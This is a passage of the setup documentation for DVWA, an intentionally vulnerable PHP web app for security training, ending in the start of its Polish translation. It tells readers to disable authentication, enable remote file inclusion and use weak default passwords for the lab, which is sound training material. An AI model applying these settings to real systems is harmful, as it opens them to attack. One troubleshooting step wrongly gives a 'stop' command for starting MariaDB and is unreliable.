see if you have Docker and Docker Compose properly installed. You should be able to see their versions in the output.\n\n    For example:\n\n    ```text\n    >>> docker version\n    Client:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Server: Docker Desktop 4.19.0 (106363)\n     Engine:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n    If you don't see anything or get a command not found error, follow the prerequisites to setup Docker and Docker Compose.\n\n2. Clone or download this repository and extract (see [Download](#download)).\n3. Open a terminal of your choice and change its working directory into this folder (`DVWA`).\n4. Run `docker compose up -d`.\n\nDVWA is now available at `http://localhost:4280`.\n\n**Notice that for running DVWA in containers, the web server is listening on port 4280 instead of the usual port of 80.**\nFor more information on this decision, see [I want to run DVWA on a different port](#i-want-to-run-dvwa-on-a-different-port).\n\n#### Local Build\n\nIf you made local changes and want to build the project from local, go to `compose.yml` and change `pull_policy: always` to `pull_policy: build`.\n\nRunning `docker compose up -d` should trigger Docker to build an image from local regardless of what is available in the registry.\n\nSee also: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n#### Serve local files\n\nIf your making local changes and don't want to build the project for every change :\n1. Go to `compose.yml` and uncomment :\n    ```\n        # volumes:\n        #   - ./:/var/www/html\n    ```\n2. Run `cp config/config.inc.php.dist config/config.inc.php` to copy the default config file.\n3. Run `docker compose up -d` and changes to local files will reflect on the container.\n\n### PHP Versions\n\nIdeally you should be using the latest stable version of PHP as that is the version that this app will be developed and tested on.\n\nSupport will not be given for anyone trying to use PHP 5.x.\n\nVersions less than 7.3 have known issues that will cause problems, most of the app will work, but random things may not. Unless you have a very good reason for using such an old version, support will not be given.\n\n### Linux Packages\n\nIf you are using a Debian based Linux distribution, you will need to install the following packages _(or their equivalent)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nI would recommend doing an update before this, just so you make sure you are going to get the latest version of everything.\n\n```sh\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nThe site will work with MySQL instead of MariaDB but we strongly recommend MariaDB as it works out of the box whereas you have to make changes to get MySQL to work correctly.\n\n### Apache Modules\n\nIf you want to use the API lab you must have the Apache module `mod_rewrite` enabled. To do this in Linux run:\n\n```\na2enmod rewrite\n```\n\nAnd then restart Apache with:\n\n```\napachectl restart\n```\n\n### Vendor Files\n\nIf you want to use the API module you will need to install a set of vendor files using [Composer](https://getcomposer.org/).\n\nFirst, make sure you have Composer installed. There seem to be backward compatibility issues so I always get the latest version from here:\n\nhttps://getcomposer.org/doc/00-intro.md\n\nFollow the instructions the site gives to get it installed.\n\nNow go into the `vulnerabilities/api` directory and run:\n\n```\ncomposer.phar install\n```\n\nIf you did not install Composer to the system path, make sure you reference its full location.\n\n## Configurations\n\n### Config File\n\nDVWA ships with a dummy copy of its config file which you will need to copy into place and then make the appropriate changes. On Linux, assuming you are in the DVWA directory, this can be done as follows:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nOn Windows, this can be a bit harder if you are hiding file extensions, if you are unsure about this, this blog post explains more about it:\n\n[How to Make Windows Show File Extensions](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Config with environment variables\n\nInstead of modifying the configuration file, you can also set most settings using environment variables. In a Docker or Kubernetes deployment, this allows you to modify the configuration without creating a new Docker image. You'll find the variables in the [config/config.inc.php.dist](config/config.inc.php.dist) file.\n\nIf you want to set the default security level to \"low\", simply add the following line to the [compose.yml](./compose.yml) file:\n\n```yml\nenvironment:\n  - DB_SERVER=db\n  - DEFAULT_SECURITY_LEVEL=low\n```\n\n### Database Setup\n\nTo set up the database, simply click on the `Setup DVWA` button in the main menu, then click on the `Create / Reset Database` button. This will create / reset the database for you with some data in.\n\nIf you receive an error while trying to create your database, make sure your database credentials are correct within `./config/config.inc.php`. _This differs from config.inc.php.dist, which is an example file._\n\nThe variables are set to the following by default:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nNote, if you are using MariaDB rather than MySQL (MariaDB is default in Kali), then you can't use the database root user, you must create a new database user. To do this, connect to the database as the root user then use the following commands:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Disable Authentication\n\nSome tools don't work well with authentication so can't be used with DVWA. To get around this, there is a config option to disable authentication checking. To do this, simply set the following in the config file:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nYou will also need to set the security level to one that is appropriate to the testing you want to do:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nIn this state, you can access all the features without needing to log in and set any cookies.\n\n### Folder Permissions\n\n- `./hackable/uploads/` - Needs to be writeable by the web service (for File Upload).\n\n### PHP Configuration\n\nOn Linux systems, likely found in `/etc/php/x.x/fpm/php.ini` or `/etc/php/x.x/apache2/php.ini`.\n\n- To allow  Remote File Inclusions (RFI):\n  - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n  - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n- To make sure PHP shows all error messages:\n  - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n  - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nMake sure you restart the php service or Apache after making the changes.\n\n### reCAPTCHA\n\nThis is only required for the \"Insecure CAPTCHA\" lab, if you aren't playing with that lab, you can ignore this section.\n\nGenerated a pair of API keys from <https://www.google.com/recaptcha/admin/create>.\n\nThese then go in the following sections of `./config/config.inc.php`:\n\n- `$_DVWA[ 'recaptcha_public_key' ]`\n- `$_DVWA[ 'recaptcha_private_key' ]`\n\n### Default Credentials\n\n**Default username = `admin`**\n\n**Default password = `password`**\n\n_...can easily be brute forced ;)_\n\nLogin URL: <http://127.0.0.1/login.php>\n\n_Note: This will be different if you installed DVWA into a different directory._\n\n- - -\n\n## Troubleshooting\n\nThese assume you are on a Debian based distro, such as Debian, Ubuntu and Kali. For other distros, follow along, but update the command where appropriate.\n\nIf you'd rather watch a video than read words, the most common issues are covered in the video [Fixing DVWA Setup Issues](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F).\n\n### Containers\n\n#### I want to access the logs\n\nIf you are using Docker Desktop, logs can be accessed from the graphical application.\nSome minor details may change with newer versions, but the access method should be the same.\n\n![Overview of DVWA compose](./docs/graphics/docker/overview.png)\n![Viewing DVWA logs](docs/graphics/docker/detail.png)\n\nLogs can also be accessed from the terminal.\n\n1. Open a terminal and change its working directory to DVWA\n2. Show the merged logs\n\n    ```sh\n    docker compose logs\n    ```\n\n   In case you want to export the logs to a file, e.g. `dvwa.log`\n\n   ```sh\n   docker compose logs > dvwa.log\n   ```\n\n#### I want to run DVWA on a different port\n\nWe don't use port 80 by default for a few reasons:\n\n- Some users might already be running something on port 80.\n- Some users might be using a rootless container engine (like Podman), and 80 is a privileged port (< 1024). Additional configuration (e.g. setting `net.ipv4.ip_unprivileged_port_start`) is required, but you will have to research on your own.\n\nYou can expose DVWA on a different port by changing the port binding in the `compose.yml` file.\nFor example, you can change\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nto\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\nDVWA is now accessible at `http://localhost:8806`.\n\nIn cases in which you want DVWA to not only be accessible exclusively from your own device, but\non your local network too (e.g. because you are setting up a test machine for a workshop), you\ncan remove the `127.0.0.1:` from the port mapping (or replace it with you LAN IP). This way it\nwill listen on all available device. The safe default should always be to only listen on your\nlocal loopback device. After all, it is a damn vulnerable web application, running on your machine.\n\n#### DVWA auto starts when Docker runs\n\nThe included [`compose.yml`](./compose.yml) file automatically runs DVWA and its database when Docker starts.\n\nTo disable this, you can delete or comment out the `restart: unless-stopped` lines in the [`compose.yml`](./compose.yml) file.\n\nIf you want to disable this behavior temporarily, you can run `docker compose stop`, or use Docker Desktop, find `dvwa` and click Stop.\nAdditionally, you can delete the containers, or run `docker compose down`.\n\n### Log files\n\nOn Linux systems Apache generates two log files by default, `access.log` and `error.log` and on Debian based system these are usually found in `/var/log/apache2/`.\n\nWhen submitting error reports, problems, anything like that, please include at least the last five lines from each of these files. On Debian based systems you can get these like this:\n\n```sh\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### I browsed to the site and got a 404 or Apache2 default page\n\n[Video Help](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141)\n\nIf you are having this problem you need to understand file locations. By default, the Apache document root (the place it starts looking for web content) is `/var/www/html`. If you put the file `hello.txt` in this directory, to access it you would browse to `http://localhost/hello.txt`.\n\nIf you created a directory and put the file in there - `/var/www/html/mydir/hello.txt` - you would then need to browse to `http://localhost/mydir/hello.txt`.\n\nLinux is by default case sensitive and so in the example above, if you tried to browse to any of these, you would get a `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nHow does this affect DVWA? Most people use git to clone DVWA into `/var/www/html`, this gives them the directory `/var/www/html/DVWA/` with all the DVWA files inside it. They then browse to `http://localhost/` and get either a `404` or the default Apache welcome page. As the files are in DVWA, you must browse to `http://localhost/DVWA`.\n\nThe other common mistake is to browse to `http://localhost/dvwa` which will give a `404` because `dvwa` is not `DVWA` as far as Linux directory matching is concerned.\n\nSo after setup, if you try to visit the site and get a `404`, think about where you installed the files to, where they are relative to the document root, and what the case of the directory you used is.\n\n### I browsed to the site and got a blank screen\n\n[Video Help](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243)\n\nThis is usually one configuration issue hiding another issue. By default, PHP does not display errors, and so if you forgot to turn error display on during the setup process, any other problems, such as failure to connect to the database, will stop the app from loading but the message to tell you what is wrong will be hidden.\n\nTo fix this, make sure you set `display_errors` and `display_startup_errors` as covered in [PHP Configuration](#php-configuration) and then restart Apache.\n\n### \"Access denied\" running setup\n\nIf you see the following when running the setup script it means the username or password in the config file do not match those configured on the database. [Video Help](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973)\n\n```mariadb\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nThe error is telling you that you are using the username `notdvwa`.\n\nThe following error says you have pointed the config file at the wrong database. [Video Help](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630)\n\n```mariadb\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nIt is saying that you are using the user `dvwa` and trying to connect to the database `notdvwa`.\n\nThe first thing to do is to double check what you think you put in the config file is what is actually there.\n\nIf it matches what you expect, the next thing to do is to check you can log in as the user on the command line. Assuming you have a database user of `dvwa` and a password of `p@ssw0rd`, run the following command:\n\n```sh\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n_Note: There is no space after the -p_\n\nIf you see the following, the password is correct:\n\n```mariadb\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nAs you can connect on the command line, it is likely something wrong in the config file, double check that and then raise an issue if you still can't get things working.\n\nIf you see the following, the username or password you are using is wrong. Repeat the [Database Setup](#database-setup) steps and make sure you use the same username and password throughout the process.\n\n```mariadb\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nIf you get the following, the user credentials are correct but the user does not have access to the database. Again, repeat the setup steps and check the database name you are using.\n\n```mariadb\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nThe final error you could get is this:\n\n```mariadb\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nThis is not an authentication issue but tells you that the database server is not running. Start it with the following\n\n```sh\nsudo service mysql start\n```\n\n### Connection Refused\n\n[Video Help](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444)\n\nAn error similar to this one:\n\n```mariadb\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\nMeans your database server is not running or you've got the wrong IP address in the config file.\n\nCheck this line in the config file to see where the database server is expected to be:\n\n```php\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nThen go to this server and check that it is running. In Linux this can be done with:\n\n```sh\nsystemctl status mariadb.service\n```\n\nAnd you are looking for something like this, the important bit is that it says `active (running)`.\n\n```sh\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nIf it is not running, you can start it with:\n\n```sh\nsudo systemctl stop mariadb.service \n```\n\nNote the `sudo` and make sure you put your Linux user password in if requested.\n\nIn Windows, check the status in the XAMPP console.\n\n### Unknown authentication method\n\nWith the most recent versions of MySQL, PHP can no longer talk to the database in its default configuration. If you try to run the setup script and get the following message it means you have configuration.\n\n```mariadb\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nYou have two options, the easiest is to uninstall MySQL and install MariaDB. The following is the official guide from the MariaDB project:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nAlternatively, follow these steps:\n\n1. As root, edit the following file: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n1. Under the line `[mysqld]`, add the following:\n  `default-authentication-plugin=mysql_native_password`\n1. Restart the database: `sudo service mysql restart`\n1. Check the authentication method for your database user:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n1. You'll likely see `caching_sha2_password`. If you do, run the following command:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n1. Re-running the check, you should now see `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nAfter all that, the setup process should now work as normal.\n\nIf you want more information see the following page: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Database Error #2002: No such file or directory\n\nThe database server is not running. In a Debian based distro this can be done with:\n\n```sh\nsudo service mysql start\n```\n\n### Errors \"MySQL server has gone away\" and \"Packets out of order\"\n\nThere are a few reasons you could be getting these errors, but the most likely is the version of database server you are running is not compatible with the version of PHP.\n\nThis is most commonly found when you are running the latest version of MySQL as PHP and it do not get on well. Best advice, ditch MySQL and install MariaDB as this is not something we can support.\n\nFor more information, see:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Why can't the database connect on CentOS?\n\nYou may be running into problems with SELinux.  Either disable SELinux or run this command to allow the web server to talk to the database:\n\n```sh\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### MariaDB Docker does not start\n\nIf you see the following error in the Docker logs while trying to start MariaDB, it is likely due to the host machine not having enough memory. If you are using this in a hosted environment, the best solution is to step up a machine size to get more memory and to try again.\n\n```\n[Note] [Entrypoint]: Entrypoint script for MariaDB Server 1:10.11.15+maria~ubu2204 started.\n[Warn] [Entrypoint]: /sys/fs/cgroup///memory.pressure not writable, functionality unavailable to MariaDB\n```\n\nYou might also need to add the following line to the volumes section of your `compose.yml` file:\n\n```\n- /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\nDoing that would change the volumes section of a default config file to the following:\n\n```\n     volumes:\n       - dvwa:/var/lib/mysql\n       - /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\nFor more information on why this works, see [this issue](https://github.com/MariaDB/mariadb-docker/issues/626).\n\n### Anything Else\n\nFor the latest troubleshooting information please read both open and closed tickets in the git repo:\n\n<https://github.com/digininja/DVWA/issues>\n\nBefore submitting a ticket, please make sure you are running the latest version of the code from the repo. This is not the latest release, this is the latest code from the master branch.\n\nIf raising a ticket, please submit at least the following information:\n\n- Operating System\n- The last 5 lines from the web server error log directly after whatever error you are reporting occurs\n- If it is a database authentication problem, go through the steps above and screenshot each step. Submit these along with a screenshot of the section of the config file showing the database user and password.\n- A full description of what is going wrong, what you expect to happen, and what you have tried to do to fix it. \"login broken\" is no enough for us to understand your problem and to help fix it.\n\n- - -\n\n## Tutorials\n\nI am going to try to put together some tutorial videos that walk through some of the vulnerabilities and show how to detect them and then how to exploit them. Here are the ones I've made so far:\n\n[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss)\n\n- - -\n\n## SQLite3 SQL Injection\n\n_Support for this is limited, before raising issues, please ensure you are prepared to work on debugging, do not simply claim \"it does not work\"._\n\nBy default, SQLi and Blind SQLi are done against the MariaDB/MySQL server used by the site but it is possible to switch to do the SQLi testing against SQLite3 instead.\n\nI am not going to cover how to get SQLite3 working with PHP, but it should be a simple case of installing the `php-sqlite3` package and making sure it is enabled.\n\nTo make the switch, simply edit the config file and add or edit these lines:\n\n```php\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nBy default it uses the file `database/sqli.db`, if you mess it up, simply copy `database/sqli.db.dist` over the top.\n\nThe challenges are exactly the same as for MariaDB, they just run against SQLite3 instead.\n\n- - -\n\n👨‍💻 Contributors\n-----\n\nThanks for all your contributions and keeping this project updated. :heart:\n\nIf you have an idea, some kind of improvement or just simply want to collaborate, you are welcome to contribute and participate in the Project, feel free to send your PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Reporting Vulnerabilities\n\nTo put it simply, please don't!\n\nOnce a year or so, someone will submit a report for a vulnerability they've found in the app, some are well written, sometimes better than I've seen in paid pen test reports, some are just \"you are missing headers, pay me\".\n\nIn 2023, this elevated to a whole new level when someone decided to request a CVE for one of the vulnerabities, they were given [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Much hilarity ensued and time was wasted getting this corrected.\n\nThe app has vulnerabilities, it is deliberate. Most are the well documented ones that you work through as lessons, others are \"hidden\" ones, ones to find on your own. If you really want to show off your skills at finding the hidden extras, write a blog post or create a video as there are probably people out there who would be interested in learning about them and about how your found them. If you send us the link, we may even include it in the references.\n\n## Links\n\nProject Home: <https://github.com/digininja/DVWA>\n\n_Created by the DVWA team_\n"
  },
  {
    "path": "README.pl.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA) to aplikacja internetowa, napisana w PHP/MySQL, bardzo podatna na ataki. Jej głównym celem jest wspieranie specjalistów w testowaniu swoich umiejętności i narzędzi w legalnym środowisku, pomoc programistom w lepszym zrozumieniu procesów zabezpieczania aplikacji internetowych oraz wsparcie zarówno uczniów, jak i nauczycieli w nauce bezpieczeństwa aplikacji internetowych w kontrolowanych warunkach.\n\nCelem DVWA jest **zapoznanie się z najczęściej występującymi podatnościami w aplikacjach internetowych** na **różnych poziomach trudności**, za pomocą prostego i intuicyjnego interfejsu. Należy pamiętać, że oprogramowanie to zawiera **zarówno udokumentowane, jak i nieudokumentowane luki**. Jest to zamierzone. Zachęca się użytkowników do odkrywania jak największej liczby podatności.\n- - -\n\n## OSTRZEŻENIE!\n\nDamn Vulnerable Web Application jest bardzo podatny na ataki! **Nie przesyłaj go do folderu public_html na swoim hostingu ani na żadne serwery z dostępem do Internetu**, ponieważ zostanie to wykorzystane. Zalecamy korzystanie z maszyny wirtualnej (takiej jak [VirtualBox](https://www.virtualbox.org/) lub [VMware](https://www.vmware.com/)), z trybem sieci ustawionym na NAT. W maszynie wirtualnej możesz pobrać i zainstalować [XAMPP](https://www.apachefriends.org/), który może Ci posłużyć za serwer WWW i bazę danych.\n\n### Zastrzeżenie\n\nNie ponosimy odpowiedzialności za sposób, w jaki ktoś używa tej aplikacji (DVWA). Wyjaśniliśmy cele aplikacji i nie powinna być używana w sposób złośliwy. Ostrzegliśmy użytkowników i podjęliśmy odpowiednie kroki, by zapobiec instalacji DVWA na publicznie dostępnych serwerach. Jeśli coś się stanie z Twoim serwerem w wyniku instalacji DVWA, nie ponosimy za to odpowiedzialności – odpowiedzialność spoczywa na osobie lub osobach, które tę aplikację zainstalowały.\n\n- - -\n\n## Licencja\n\nTen plik jest częścią Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) jest oprogramowaniem wolnym: możesz je rozpowszechniać i/lub modyfikować zgodnie z warunkami GNU General Public License, opublikowanymi przez Free Software Foundation, w wersji 3 tej licencji lub (zgodnie z Twoimi preferencjami) dowolnej późniejszej wersji.\n\nDamn Vulnerable Web Application (DVWA) jest rozpowszechniana z nadzieją, że będzie przydatna, ale BEZ JAKIEJKOLWIEK GWARANCJI; nawet bez domniemanej gwarancji PRZYDATNOŚCI HANDLOWEJ lub PRZYDATNOŚCI DO OKREŚLONEGO CELU. Więcej szczegółów znajdziesz w GNU General Public License.\n\nPowinieneś otrzymać kopię GNU General Public License wraz z Damn Vulnerable Web Application (DVWA). Jeśli nie, zobacz <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Internacionalizacja\n\nTen plik jest dostępny w kilku wersjach językowych:\n- arabski: [العربية](README.ar.md)\n- chiński: [简体中文](README.zh.md)\n- francuski: [Français](README.fr.md)\n- koreański: [한국어](README.ko.md)\n- perski: [فارسی](README.fa.md)\n- polski: [Polski](README.pl.md)\n- portugalski: [Português](README.pt.md)\n- hiszpański: [Español](README.es.md)\n- turecki: [Türkçe](README.tr.md)\n- indonezyjski: [Indonesia](README.id.md)\n- wietnamski: [Vietnamese](README.vi.md)\n\nJeśli chcesz pomóc przy tłumaczeniu, prosimy o zrobienie PR-a (Pull Request). Pamiętaj jednak, że PR-y przetłumaczone automatycznie (np. z Google Translate) zostaną odrzucone. Prześlij swoje tłumaczenie, tworząc nowy plik o nazwie `README.xx.md`, gdzie `xx` to dwuliterowy kod języka (zgodnie z [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Pobieranie\n\nChoć istnieją różne wersje DVWA, jedyną wspieraną jest najnowsza wersja z oficjalnego repozytorium GitHub. Możesz ją sklonować z:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nLub [pobierz archiwum ZIP z plikami](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Instalacja\n\n### Filmy instruktażowe instalacji\n\n- [Instalacja DVWA na Kali w VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Instalacja DVWA na Windows przy użyciu XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Instalacja Damn Vulnerable Web Application (DVWA) na Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nNajłatwiejszym sposobem instalacji DVWA jest pobranie i zainstalowanie [XAMPP](https://www.apachefriends.org/), jeśli nie masz jeszcze skonfigurowanego serwera WWW.\n\nXAMPP to łatwy do zainstalowania pakiet Apache, dostępny na systemach Linux, Solaris, Windows i Mac OS X. Zawiera serwer Apache, MySQL, PHP, Perl, serwer FTP i phpMyAdmin.\n\nTen [film](https://youtu.be/Yzksa_WjnY0) przeprowadzi Cię przez proces instalacji dla systemu Windows, ale na innych systemach powinno to wyglądać podobnie.\n\n### Docker\n\nDzięki [hoang-himself](https://github.com/hoang-himself) i [JGillam](https://github.com/JGillam), każdy commit na branchu `master` powoduje zbudowanie obrazu Docker, który można pobrać z GitHub Container Registry.\n\nWięcej informacji na temat dostępnych obrazów można znaleźć [tutaj](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Pierwsze kroki\n\nWymagania: Docker i Docker Compose.\n\n- Jeśli korzystasz z Docker Desktop, oba narzędzia powinny być już zainstalowane.\n- Jeśli preferujesz Docker Engine na Linuxie, pamiętaj, aby postępować zgodnie z [instrukcją instalacji](https://docs.docker.com/engine/install/#server).\n\n**Zapewniamy wsparcie najnowszej wersji Docker.**\nJeśli używasz Linuxa, a pakiet Docker pochodzi z menedżera pakietów, prawdopodobnie też zadziała, jednak wsparcie będzie ograniczone.\n\nAktualizacja Docker z wersji menedżera pakietów do wersji głównej wymaga usunięcia starych wersji zgodnie z instrukcją dla [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedory](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) i innych.\nDane Docker (kontenery, obrazy, woluminy itd.) nie powinny być naruszone, jednak w przypadku problemów możesz je zgłosić [Dockerowi](https://www.docker.com/support) i w międzyczasie coś spróbować poszukać.\n\nAby rozpocząć:\n\n1. Uruchom `docker version` i `docker compose version`, aby sprawdzić, czy Docker i Docker Compose są poprawnie zainstalowane. Powinny pojawić się ich wersje.\n\n    Przykład:\n\n    ```text\n    >>> docker version\n    Client:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Server: Docker Desktop 4.19.0 (106363)\n     Engine:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n    Jeśli nie pojawi się nic lub wyświetli się błąd „command not found”, postępuj zgodnie z wymaganiami wstępnymi, aby skonfigurować Docker i Docker Compose.\n\n2. Sklonuj lub pobierz to repozytorium i rozpakuj ([Pobieranie](#download)).\n3. Otwórz terminal i przejdź do katalogu `DVWA`.\n4. Uruchom `docker compose up -d`.\n\nDVWA jest teraz dostępny pod adresem `http://localhost:4280`.\n\n**Uwaga, serwer WWW działa na porcie 4280 zamiast standardowego portu 80.**\nWięcej na temat tej decyzji znajdziesz w sekcji [Chcę uruchomić DVWA na innym porcie](#i-want-to-run-dvwa-on-a-different-port).\n\n### Kompilacja lokalna\n\nJeśli wprowadziłeś lokalne zmiany i chcesz zbuildować projekt lokalnie, przejdź do `compose.yml` i zmień `pull_policy: always` na `pull_policy: build`.\n\nUruchomienie `docker compose up -d` powinno spowodować zbudowanie obrazu lokalnie, niezależnie od tego, co jest dostępne w rejestrze.\n\nZobacz także: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n### Wersje PHP\n\nZalecamy używanie najnowszej, stabilnej wersji PHP, ponieważ to na tej wersji aplikacja będzie rozwijana i testowana.\n\nNie zapewniamy wsparcia dla osób używających PHP 5.x.\n\nWersje poniżej 7.3 mają znane błędy, które mogą powodować problemy, większość aplikacji będzie działać, ale niektóre funkcje mogą nie funkcjonować prawidłowo. Jeśli nie masz naprawdę ważnego usprawiedliwienia używania starszej wersji, wsparcie nie będzie udzielone.\n\n### Pakiety dla Linuxa\n\nJeśli korzystasz z dystrybucji opartej na Debianie, musisz zainstalować następujące pakiety _(lub ich odpowiedniki)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nZalecamy wykonanie aktualizacji przed instalacją, aby upewnić się, że posiadasz najnowsze wersje.\n\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nStrona będzie działać z MySQL zamiast MariaDB, ale zdecydowanie zalecamy MariaDB, ponieważ działa bez dodatkowej konfiguracji, podczas gdy w przypadku MySQL konieczne są zmiany, aby działało poprawnie.\n\n## Konfiguracje\n\n### Plik konfiguracyjny\n\nDVWA zawiera tylko wzór pliku konfiguracyjnego, który należy odpowiednio zmodyfikować. W systemie Linux, zakładając, że znajdujesz się w katalogu DVWA, można to zrobić w następujący sposób:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nNa Windows może to być nieco trudniejsze, jeśli masz ukryte rozszerzenia plików; jeśli masz co do tego wątpliwości, tu jest wyjaśnione więcej:\n[Jak wyświetlić rozszerzenia plików w Windows](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Konfiguracja Bazy Danych\n\nAby skonfigurować bazę danych, kliknij przycisk `Setup DVWA` w głównym menu, a następnie przycisk `Create / Reset Database`. Spowoduje to utworzenie lub zresetowanie bazy danych.\n\nJeśli pojawi się błąd podczas tworzenia bazy danych, upewnij się, że w pliku `./config/config.inc.php` dane logowania do bazy są poprawne. *Jest to inny plik 